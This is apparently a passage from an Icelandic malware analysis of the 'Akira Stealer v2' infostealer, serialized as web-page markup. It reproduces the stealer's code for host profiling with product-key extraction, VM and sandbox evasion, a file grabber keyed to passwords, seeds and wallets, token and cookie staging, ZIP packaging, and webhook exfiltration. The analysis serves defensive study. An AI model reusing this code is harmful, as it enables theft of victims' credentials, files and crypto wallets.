Identifier\n",[1685,9206,9207],{"class":1687,"line":3855},[1685,9208,9209],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1685,9211,9212],{"class":1687,"line":3861},[1685,9213,9214],{},"# GPU Name\n",[1685,9216,9217],{"class":1687,"line":4106},[1685,9218,9219],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1685,9221,9222],{"class":1687,"line":5023},[1685,9223,9224],{},"# Windows Product Key\n",[1685,9226,9227],{"class":1687,"line":5029},[1685,9228,9229],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[532,9231,9232,9233,9236],{},"Niðurstöður eru unnar í læsilega strengi (",[550,9234,9235],{},"strip()",", vísiaðgerðir) og skeyttar saman í:",[587,9238,9240],{"className":4490,"code":9239,"language":4492,"meta":593,"style":593},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[550,9241,9242,9247,9252,9257,9262,9267,9272],{"__ignoreMap":593},[1685,9243,9244],{"class":1687,"line":1688},[1685,9245,9246],{},"self.system_info = (\n",[1685,9248,9249],{"class":1687,"line":2064},[1685,9250,9251],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1685,9253,9254],{"class":1687,"line":2070},[1685,9255,9256],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1685,9258,9259],{"class":1687,"line":2076},[1685,9260,9261],{},"    f\"CPU: {self.cpu}\\n\"\n",[1685,9263,9264],{"class":1687,"line":2398},[1685,9265,9266],{},"    f\"GPU: {self.gpu}\\n\"\n",[1685,9268,9269],{"class":1687,"line":2404},[1685,9270,9271],{},"    f\"Product Key: {self.productKey}\"\n",[1685,9273,9274],{"class":1687,"line":3060},[1685,9275,5242],{},[861,9277,9279],{"id":9278},"_7103-vm-detection-og-athuganir-gegn-sandbox","7.10.3 VM-detection og athuganir gegn sandbox",[532,9281,867],{},[532,9283,9284,9285,9287],{},"Áður en djúpgreiningin hefst kallar malware-ið á ",[550,9286,4662],{}," til að finna sýndarvæðingar- eða greiningarumhverfi:",[587,9289,9291],{"className":4490,"code":9290,"language":4492,"meta":593,"style":593},"if VmProtect.isVM(1):\n    sys.exit()\n",[550,9292,9293,9298],{"__ignoreMap":593},[1685,9294,9295],{"class":1687,"line":1688},[1685,9296,9297],{},"if VmProtect.isVM(1):\n",[1685,9299,9300],{"class":1687,"line":2064},[1685,9301,9302],{},"    sys.exit()\n",[532,9304,9305],{},"Meðal helstu athugana eru:",[603,9307,9308,9314,9320,9326],{},[606,9309,9310,9313],{},[539,9311,9312],{},"Registry-lyklar og lýsingar drivera",": gerir fyrirspurnir í registry-færslur sem tengjast sýndarvæðingu.",[606,9315,9316,9319],{},[539,9317,9318],{},"Svartlistuð UUID og tölvuheiti",": ber við þekkt fingraför sýndarvéla.",[606,9321,9322,9325],{},[539,9323,9324],{},"HTTP-hermun",": reynir að tengjast léni sem er ekki til yfir HTTPS.",[606,9327,9328,9331,9332,619,9335,619,9338,585],{},[539,9329,9330],{},"Svartlisti ferla",": ræsir bakgrunnsþráð til að drepa tól eins og ",[550,9333,9334],{},"wireshark",[550,9336,9337],{},"ollydbg",[550,9339,9340],{},"ida64",[861,9342,9344],{"id":9343},"_7104-pökkun-og-sending","7.10.4 Pökkun og sending",[532,9346,867],{},[532,9348,9349,9350,9353],{},"Söfnuðu ",[550,9351,9352],{},"system_info",", IP-ið og fáni landsins eru byggð inn í hausana á webhook-payloadinum:",[587,9355,9357],{"className":4490,"code":9356,"language":4492,"meta":593,"style":593},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[550,9358,9359,9364,9369,9374,9379,9384,9389,9393],{"__ignoreMap":593},[1685,9360,9361],{"class":1687,"line":1688},[1685,9362,9363],{},"webhook_payload = {\n",[1685,9365,9366],{"class":1687,"line":2064},[1685,9367,9368],{},"    \"embeds\": [{\n",[1685,9370,9371],{"class":1687,"line":2070},[1685,9372,9373],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1685,9375,9376],{"class":1687,"line":2076},[1685,9377,9378],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1685,9380,9381],{"class":1687,"line":2398},[1685,9382,9383],{},"        \"fields\": [...]\n",[1685,9385,9386],{"class":1687,"line":2404},[1685,9387,9388],{},"    }]\n",[1685,9390,9391],{"class":1687,"line":3060},[1685,9392,2407],{},[1685,9394,9395],{"class":1687,"line":3855},[1685,9396,9397],{},"requests.post(self.webhook_url, json=webhook_payload)\n",[603,9399,9400,9406],{},[606,9401,9402,9405],{},[539,9403,9404],{},"Fánatáknmynd",": leidd út frá ISO-landskóðanum.",[606,9407,9408,9411],{},[539,9409,9410],{},"Svæði",": innihalda tölur yfir stolin lykilorð, cookies og fleira, en kerfisupplýsingarnar eru í lýsingu embedsins svo samhengið fáist samstundis.",[532,9413,9414,9417],{},[539,9415,9416],{},"Samantekt:","\nKerfisgreiningin í Akira Stealer v2 safnar heildstæðum gögnum um hostinn og netið með WMI-skipunum, umhverfisbreytum og IP-staðsetningu. Ásamt VM-detection og rútínum sem drepa tól tryggir þetta að árásaraðilinn hafi fulla mynd af kompromíseraða umhverfinu, sem styrkir markvissar eftirfylgniaðgerðir og síar út greiningar-sandboxa.",[713,9419,9421,9422,1111],{"id":9420},"_711-skráagrabbari-klasi-utilssteal_files","7.11 Skráagrabbari (klasi: ",[550,9423,9424],{},"Utils.steal_files",[532,9426,719],{},[532,9428,9429],{},"Umfram browsergögn og tokens reynir Akira einnig að draga út verðmætt efni sem notandinn hefur búið til, svo sem skjöl, töflureikna, persónulegar nótur og skrár með dulkóðunarlyklum. Skráagrabbara-einingin er ábyrg fyrir þessu verki. Hún skannar verðmætar möppur að algengum skráartegundum og mynstrum og bætir þeim hljóðlega í exfiltration-búntinn. Það sem gerir þessa einingu sérstaklega hættulega er einfaldleiki hennar og einbeiting: hún reynir ekki að fara yfir allt skráakerfið. Í staðinn beinist hún að tilteknum stöðum með háa vinningslíkindi þar sem viðkvæmar skrár eru yfirleitt geymdar. Þar á meðal eru Desktop-, Documents-, Downloads- og OneDrive-möppurnar, hver miðuð við heimaslóð notandans. Þessi markvissa nálgun bætir bæði hraða og ósýnileika og minnkar líkur á detection meðan skannað er. Hún forðast líka að vekja notandann með því að fara ekki í kerfis- eða varðar möppur. Þegar skrár sem áhugi er á hafa fundist eru þær afritaðar í tímabundna möppu, eftir atvikum endurnefndar eða flokkaðar, og síðar þjappaðar í endanlega ZIP-safnskrá sem hlaðið er upp í exfiltration-fasanum.",[861,9431,9433],{"id":9432},"_7111-upptalning-markmappa","7.11.1 Upptalning markmappa",[532,9435,867],{},[532,9437,9438],{},"Stealerinn beinist að fjórum möppum með háa afurð:",[587,9440,9442],{"className":4490,"code":9441,"language":4492,"meta":593,"style":593},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[550,9443,9444,9449,9454,9459,9464,9469],{"__ignoreMap":593},[1685,9445,9446],{"class":1687,"line":1688},[1685,9447,9448],{},"searchFolders = [\n",[1685,9450,9451],{"class":1687,"line":2064},[1685,9452,9453],{},"    \"Desktop\",\n",[1685,9455,9456],{"class":1687,"line":2070},[1685,9457,9458],{},"    \"Documents\",\n",[1685,9460,9461],{"class":1687,"line":2076},[1685,9462,9463],{},"    \"Downloads\",\n",[1685,9465,9466],{"class":1687,"line":2398},[1685,9467,9468],{},"    \"OneDrive\"\n",[1685,9470,9471],{"class":1687,"line":2404},[1685,9472,7912],{},[532,9474,9475],{},"Hver mappa er túlkuð miðað við heimamöppu fórnarlambsins:",[587,9477,9479],{"className":4490,"code":9478,"language":4492,"meta":593,"style":593},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[550,9480,9481,9486,9491,9496],{"__ignoreMap":593},[1685,9482,9483],{"class":1687,"line":1688},[1685,9484,9485],{},"for folder in searchFolders:\n",[1685,9487,9488],{"class":1687,"line":2064},[1685,9489,9490],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1685,9492,9493],{"class":1687,"line":2070},[1685,9494,9495],{},"    if os.path.exists(current_path):\n",[1685,9497,9498],{"class":1687,"line":2076},[1685,9499,9500],{},"        # proceed to scan\n",[861,9502,9504],{"id":9503},"_7112-síun-eftir-leitarorðum-og-skráarendingum","7.11.2 Síun eftir leitarorðum og skráarendingum",[532,9506,867],{},[532,9508,9509],{},[539,9510,9511],{},"Listi leitarorða",[532,9513,9514],{},"Fyrirfram skilgreint safn undirstrengja stýrir skráavalinu. Aðeins skráarheiti sem innihalda að minnsta kosti eitt leitarorð eru tekin til skoðunar:",[587,9516,9518],{"className":4490,"code":9517,"language":4492,"meta":593,"style":593},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[550,9519,9520,9525,9530,9535],{"__ignoreMap":593},[1685,9521,9522],{"class":1687,"line":1688},[1685,9523,9524],{},"keywordsFiles = [\n",[1685,9526,9527],{"class":1687,"line":2064},[1685,9528,9529],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1685,9531,9532],{"class":1687,"line":2070},[1685,9533,9534],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1685,9536,9537],{"class":1687,"line":2076},[1685,9538,7912],{},[603,9540,9541,9557],{},[606,9542,9543,9546,9547,9550,9551,557,9554,585],{},[539,9544,9545],{},"Hlutasamsvaranir",": leitarorð eins og ",[550,9548,9549],{},"passw"," fanga bæði ",[550,9552,9553],{},"passwords.txt",[550,9555,9556],{},"passw_backup.docx",[606,9558,9559,9562],{},[539,9560,9561],{},"Breið þekja",": nær yfir hugtök sem tengjast sannvottun, veskjum, kryptó og tokens.",[861,9564,9566],{"id":9565},"_7113-skráartegundir-sem-eru-heimilaðar","7.11.3 Skráartegundir sem eru heimilaðar",[532,9568,867],{},[532,9570,9571],{},"Til að lágmarka klið er hvítlisti skráarendinga framfylgt:",[587,9573,9575],{"className":4490,"code":9574,"language":4492,"meta":593,"style":593},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[550,9576,9577,9582,9587,9592],{"__ignoreMap":593},[1685,9578,9579],{"class":1687,"line":1688},[1685,9580,9581],{},"allowed_extensions = [\n",[1685,9583,9584],{"class":1687,"line":2064},[1685,9585,9586],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1685,9588,9589],{"class":1687,"line":2070},[1685,9590,9591],{},"    \".jpg\", \".png\"\n",[1685,9593,9594],{"class":1687,"line":2076},[1685,9595,7912],{},[861,9597,9599],{"id":9598},"_7113-stærðarþak","7.11.3 Stærðarþak",[532,9601,867],{},[532,9603,9604],{},"Skrár stærri en 2 megabæt eru sleppt til að hraða exfiltration og forðast stórar sendingar:",[587,9606,9608],{"className":4490,"code":9607,"language":4492,"meta":593,"style":593},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[550,9609,9610,9615,9620],{"__ignoreMap":593},[1685,9611,9612],{"class":1687,"line":1688},[1685,9613,9614],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1685,9616,9617],{"class":1687,"line":2064},[1685,9618,9619],{},"if file_size_mb \u003C= 2:\n",[1685,9621,9622],{"class":1687,"line":2070},[1685,9623,9624],{},"    # eligible for copy\n",[861,9626,9628],{"id":9627},"_7114-endurkvæm-skönnun-og-afritunarrökvísi","7.11.4 Endurkvæm skönnun og afritunarrökvísi",[532,9630,867],{},[532,9632,9633],{},"Þegar verðmætu möppurnar hafa verið greindar hefur Akira endurkvæma skönnunarrútínu til að fara í gegnum undirmöppur og finna skrár sem passa við tiltekin leitarorð og skráarendingar. Þessi fasi er byggður fyrir nákvæmni og ósýnileika: aðeins skrár sem passa við fyrirfram skilgreind viðmið, svo sem skráarheiti sem innihalda viðkvæm leitarorð og heimilaðar skráartegundir, eru tekin til skoðunar. Rökvísin tryggir að aðeins efni sem á við og notandinn hefur búið til sé exfiltrerað. Hún horfir framhjá kerfisskrám, skyndiminni og binaries og takmarkar stærð hverrar einstakrar skráar við 2 MB til að minnka upphalsstærð og detection-áhættu. Þessi skönnunaraðferð er hljóðlát, skilvirk og fínstillt fyrir hljóðlátan gagnaþjófnað í raunumhverfum. Með því að afrita skrár sem passa í staging-möppu og halda lista yfir það sem var tekið undirbýr Akira innihaldið til pökkunar og exfiltration, en lágmarkar um leið afföll og rekstrarklið.",[532,9635,9636,9637,9640],{},"Kjarnarútínan ",[550,9638,9639],{},"steal_files()"," starfar svona:",[587,9642,9644],{"className":4490,"code":9643,"language":4492,"meta":593,"style":593},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[550,9645,9646,9650,9655,9660,9665,9669,9674,9679,9684,9689,9694,9699,9704,9709,9714,9719,9724,9729,9734,9739,9744,9749],{"__ignoreMap":593},[1685,9647,9648],{"class":1687,"line":1688},[1685,9649,4975],{},[1685,9651,9652],{"class":1687,"line":2064},[1685,9653,9654],{},"def steal_files():\n",[1685,9656,9657],{"class":1687,"line":2070},[1685,9658,9659],{},"    stolen_files = set()\n",[1685,9661,9662],{"class":1687,"line":2076},[1685,9663,9664],{},"    temp_folder = Utils.get_temp_folder()\n",[1685,9666,9667],{"class":1687,"line":2398},[1685,9668,3852],{"emptyLinePlaceholder":325},[1685,9670,9671],{"class":1687,"line":2404},[1685,9672,9673],{},"    for folder in searchFolders:\n",[1685,9675,9676],{"class":1687,"line":3060},[1685,9677,9678],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1685,9680,9681],{"class":1687,"line":3855},[1685,9682,9683],{},"        if os.path.exists(current_path):\n",[1685,9685,9686],{"class":1687,"line":3861},[1685,9687,9688],{},"            for root, _, files in os.walk(current_path):\n",[1685,9690,9691],{"class":1687,"line":4106},[1685,9692,9693],{},"                for file in files:\n",[1685,9695,9696],{"class":1687,"line":5023},[1685,9697,9698],{},"                    lower = file.lower()\n",[1685,9700,9701],{"class":1687,"line":5029},[1685,9702,9703],{},"                    # Keyword check\n",[1685,9705,9706],{"class":1687,"line":5035},[1685,9707,9708],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1685,9710,9711],{"class":1687,"line":5041},[1685,9712,9713],{},"                        ext = os.path.splitext(lower)[1]\n",[1685,9715,9716],{"class":1687,"line":5047},[1685,9717,9718],{},"                        # Extension and size check\n",[1685,9720,9721],{"class":1687,"line":5053},[1685,9722,9723],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1685,9725,9726],{"class":1687,"line":5059},[1685,9727,9728],{},"                            # Prepare destination\n",[1685,9730,9731],{"class":1687,"line":5065},[1685,9732,9733],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1685,9735,9736],{"class":1687,"line":5071},[1685,9737,9738],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1685,9740,9741],{"class":1687,"line":5077},[1685,9742,9743],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1685,9745,9746],{"class":1687,"line":5083},[1685,9747,9748],{},"                            stolen_files.add(file)\n",[1685,9750,9751],{"class":1687,"line":5089},[1685,9752,9753],{},"    data.stolen_files.extend(stolen_files)\n",[532,9755,9756],{},[539,9757,2605],{},[2084,9759,9760,9768,9777,9786,9792],{},[606,9761,9762,9767],{},[539,9763,9764],{},[550,9765,9766],{},"os.walk",": fer endurkvæmt niður í undirmöppur.",[606,9769,9770,9773,9774,585],{},[539,9771,9772],{},"Samsvörun óháð stafstærð",": skráarheiti eru samræmd með ",[550,9775,9776],{},"lower()",[606,9778,9779,9782,9783,9785],{},[539,9780,9781],{},"Heil afritun",": notar ",[550,9784,7778],{}," til að varðveita innihald skráarinnar.",[606,9787,9788,9791],{},[539,9789,9790],{},"Safn stolinna skráarheita",": hindrar afföll þegar sama skrá kemur fyrir tvisvar.",[606,9793,9794,971,9799,9802],{},[539,9795,9796,9797],{},"Samþætting við ",[550,9798,9057],{},[550,9800,9801],{},"data.stolen_files"," safnar lista yfir stolnar skrár fyrir síðari tilkynningu.",[861,9804,9806],{"id":9805},"_7115-pökkun-og-exfiltration","7.11.5 Pökkun og exfiltration",[532,9808,867],{},[532,9810,9811,9812,9815],{},"Eftir söfnun er ",[550,9813,9814],{},"Files","-möppunni pakkað og hún send:",[587,9817,9819],{"className":4490,"code":9818,"language":4492,"meta":593,"style":593},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[550,9820,9821,9826,9831,9835,9840,9845],{"__ignoreMap":593},[1685,9822,9823],{"class":1687,"line":1688},[1685,9824,9825],{},"# Archive\n",[1685,9827,9828],{"class":1687,"line":2064},[1685,9829,9830],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1685,9832,9833],{"class":1687,"line":2070},[1685,9834,3852],{"emptyLinePlaceholder":325},[1685,9836,9837],{"class":1687,"line":2076},[1685,9838,9839],{},"# Upload & Notify\n",[1685,9841,9842],{"class":1687,"line":2398},[1685,9843,9844],{},"akira.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1685,9846,9847],{"class":1687,"line":2404},[1685,9848,9849],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[603,9851,9852,9868],{},[606,9853,9854,9859,9860,619,9862,619,9864,9867],{},[539,9855,9856],{},[550,9857,9858],{},"zip_client_file()",": þjappar allri tímabundnu möppunni, þar á meðal ",[550,9861,9814],{},[550,9863,6318],{},[550,9865,9866],{},"Passwords"," og fleiru.",[606,9869,9870,9874,9875],{},[539,9871,9872],{},[550,9873,9039],{},": birtir niðurhalshlekkinn með Telegram- eða Discord-webhook og listar hvert stolið skráarheiti:",[587,9876,9878],{"className":4490,"code":9877,"language":4492,"meta":593,"style":593},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[550,9879,9880,9885,9890,9895,9900],{"__ignoreMap":593},[1685,9881,9882],{"class":1687,"line":1688},[1685,9883,9884],{},"fields.append({\n",[1685,9886,9887],{"class":1687,"line":2064},[1685,9888,9889],{},"\"name\": \"📂 Files\",\n",[1685,9891,9892],{"class":1687,"line":2070},[1685,9893,9894],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1685,9896,9897],{"class":1687,"line":2076},[1685,9898,9899],{},"\"inline\": False\n",[1685,9901,9902],{"class":1687,"line":2398},[1685,9903,9904],{},"})\n",[532,9906,9907],{},[539,9908,9909],{},"Niðurstaða:",[532,9911,9912],{},"Skráagrabbarinn í Akira Stealer v2 leitar með aðferð að viðkvæmum skjölum með síum á leitarorð og skráarendingar, virðir 2 MB stærðarþak til að vera skilvirkur og sameinar stolna hluti í safnskrá. Hönnun hans tryggir bæði breidd (margar möppur) og nákvæmni (markvissar síur), sem gerir hann eitt áhrifamesta þrepið í líftíma malware-sins.",[713,9914,9916],{"id":9915},"_712-stefna-við-exfiltration","7.12 Stefna við exfiltration",[532,9918,719],{},[532,9920,9921],{},"Exfiltration-einingin meðhöndlar söfnuð tokens og aðra artifacts (cookies, sjálfvirkar útfyllingar, logga) með því að staging-a þau í skipulagðri möppu, þjappa í safnskrá, hlaða upp á margar netskráahýsingar og senda ítarlegar webhook-tilkynningar. Þessi kafli tekur hvert skref í sundur með skráaslóðum, lénaendapunktum og kóðatilvísunum til fulls rekjanleika.",[861,9923,9925],{"id":9924},"_7121-möppuskipulag-og-skráarheiti","7.12.1 Möppuskipulag og skráarheiti",[532,9927,867],{},[532,9929,9930],{},"Akira skipuleggur alla söfnuðu artifacts í hreina og lagskipta tímabundna möppuuppbyggingu. Þessi hönnun gerir pökkun skilvirka og einfaldar árásaraðilanum að fara yfir niðurstöðurnar eftir exfiltration. Hver gagnaflokkur, svo sem Tokens, Cookies, Passwords eða Screenshots, er geymdur í sinni eigin undirmöppu undir rótarslóð sem er nefnd eftir tölvu fórnarlambsins (t.d. DESKTOP1234). Þetta skipulag tryggir skýrleika, lágmarkar afföll og einfaldar pökkun og upphal. Það gerir einnig sjálfvirka úrvinnslu eða handvirka skoðun mun auðveldari hjá árásaraðilanum.",[587,9932,9935],{"className":9933,"code":9934,"language":592},[590],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[550,9936,9934],{"__ignoreMap":593},[861,9938,9940],{"id":9939},"_7122-staging-tokens-og-artifacts","7.12.2 Staging tokens og artifacts",[532,9942,867],{},[532,9944,9945],{},"Áður en exfiltration hefst staging-ar Akira alla viðeigandi artifacts í samsvarandi undirmöppur. Gildi tokens eru til dæmis skrifuð í sérstakar .txt-skrár til að einfalda hraða skoðun og staðfestingu. Cookies, sjálfvirkar útfyllingarfærslur og lykilorð eru á sama hátt skrifuð í skipulagðar textaskrár nefndar eftir browsernum. Þetta skref samræmir gagnaskipulagið og gerir sjálfvirkum verkfærum kleift að fylgjast með því sem var safnað. Það tryggir líka að ZIP-safnskráin sem verður til endurspegli forspáanlegt snið sem er hentugt fyrir árásaraðilann, óháð því hvaða einingar voru kveiktar.",[587,9947,9949],{"className":4490,"code":9948,"language":4492,"meta":593,"style":593},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[550,9950,9951,9956,9961,9966,9971,9976,9981,9986,9991,9996],{"__ignoreMap":593},[1685,9952,9953],{"class":1687,"line":1688},[1685,9954,9955],{},"import os, shutil\n",[1685,9957,9958],{"class":1687,"line":2064},[1685,9959,9960],{},"# Constants\n",[1685,9962,9963],{"class":1687,"line":2070},[1685,9964,9965],{},"TMP = os.getenv('TEMP')\n",[1685,9967,9968],{"class":1687,"line":2076},[1685,9969,9970],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1685,9972,9973],{"class":1687,"line":2398},[1685,9974,9975],{},"# Prepare structure\n",[1685,9977,9978],{"class":1687,"line":2404},[1685,9979,9980],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1685,9982,9983],{"class":1687,"line":3060},[1685,9984,9985],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1685,9987,9988],{"class":1687,"line":3855},[1685,9989,9990],{},"# Save token\n",[1685,9992,9993],{"class":1687,"line":3861},[1685,9994,9995],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1685,9997,9998],{"class":1687,"line":4106},[1685,9999,10000],{},"    f.write(token)\n",[603,10002,10003,10006],{},[606,10004,10005],{},"Tokens vistuð í aðskildum litlum textaskrám til fljótlegrar skoðunar.",[606,10007,10008,10009,10012,10013,585],{},"Cookie-dumpar úr ",[550,10010,10011],{},"Chromium.GetCookies()"," skrifaðir í ",[550,10014,10015],{},"{Browser}_Cookies.txt",[861,10017,10019],{"id":10018},"_7133-að-búa-til-zip-safnskrá","7.13.3 Að búa til ZIP-safnskrá",[532,10021,867],{},[532,10023,10024,10025],{},"Þegar staging er lokið þjappar Akira allri möppunni í eina ZIP-safnskrá. Skráarheiti safnskrárinnar fylgir samræmdri nafnavenju: ",[10026,10027,10028,10029],"computer-name",{},"_",[10030,10031,10032],"timestamp",{},".zip, með heiti vélarinnar og UTC-tímastimpli á ISO 8601-sniði. Það tryggir bæði einkvæmni og rekjanleika í tímaröð. Með því að fara endurkvæmt yfir alla staging-möppuna er hverri skrá haldið í sinni hlutfallslegu uppbyggingu inni í ZIP-inu. Þetta snið einfaldar árásaraðilum að sækja og skoða í magni, sérstaklega ef hundruð fórnarlamba eru kompromíseruð samhliða.",[587,10034,10036],{"className":4490,"code":10035,"language":4492,"meta":593,"style":593},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[550,10037,10038,10043,10047,10052,10057,10062,10067,10072,10077,10082,10087,10092,10097],{"__ignoreMap":593},[1685,10039,10040],{"class":1687,"line":1688},[1685,10041,10042],{},"import zipfile, datetime\n",[1685,10044,10045],{"class":1687,"line":2064},[1685,10046,3852],{"emptyLinePlaceholder":325},[1685,10048,10049],{"class":1687,"line":2070},[1685,10050,10051],{},"def create_archive(root_dir: str) -> str:\n",[1685,10053,10054],{"class":1687,"line":2076},[1685,10055,10056],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1685,10058,10059],{"class":1687,"line":2398},[1685,10060,10061],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1685,10063,10064],{"class":1687,"line":2404},[1685,10065,10066],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1685,10068,10069],{"class":1687,"line":3060},[1685,10070,10071],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1685,10073,10074],{"class":1687,"line":3855},[1685,10075,10076],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1685,10078,10079],{"class":1687,"line":3861},[1685,10080,10081],{},"            for fname in files:\n",[1685,10083,10084],{"class":1687,"line":4106},[1685,10085,10086],{},"                full = os.path.join(dirpath, fname)\n",[1685,10088,10089],{"class":1687,"line":5023},[1685,10090,10091],{},"                rel = os.path.relpath(full, root_dir)\n",[1685,10093,10094],{"class":1687,"line":5029},[1685,10095,10096],{},"                zf.write(full, rel)\n",[1685,10098,10099],{"class":1687,"line":5035},[1685,10100,10101],{},"    return zip_path\n",[603,10103,10104],{},[606,10105,10106,10107,10110],{},"Safnskráin nefnd ",[550,10108,10109],{},"DESKTOP1234_20250505T123456Z.zip"," til samræmis við hostinn.",[532,10112,10113],{},[539,10114,10115],{},"Nafnavenja ZIP-skráarheita",[532,10117,10118],{},"Safnskráin er nefnd eftir tölvuheiti kompromíseraða hostsins og svo UTC-tímastimpli á ISO-sniði, sem tryggir einkvæmni og tímaröð.",[587,10120,10122],{"className":4490,"code":10121,"language":4492,"meta":593,"style":593},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[550,10123,10124,10129,10133,10137,10142,10146,10151,10155,10159],{"__ignoreMap":593},[1685,10125,10126],{"class":1687,"line":1688},[1685,10127,10128],{},"import datetime, os\n",[1685,10130,10131],{"class":1687,"line":2064},[1685,10132,3852],{"emptyLinePlaceholder":325},[1685,10134,10135],{"class":1687,"line":2070},[1685,10136,10051],{},[1685,10138,10139],{"class":1687,"line":2076},[1685,10140,10141],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ 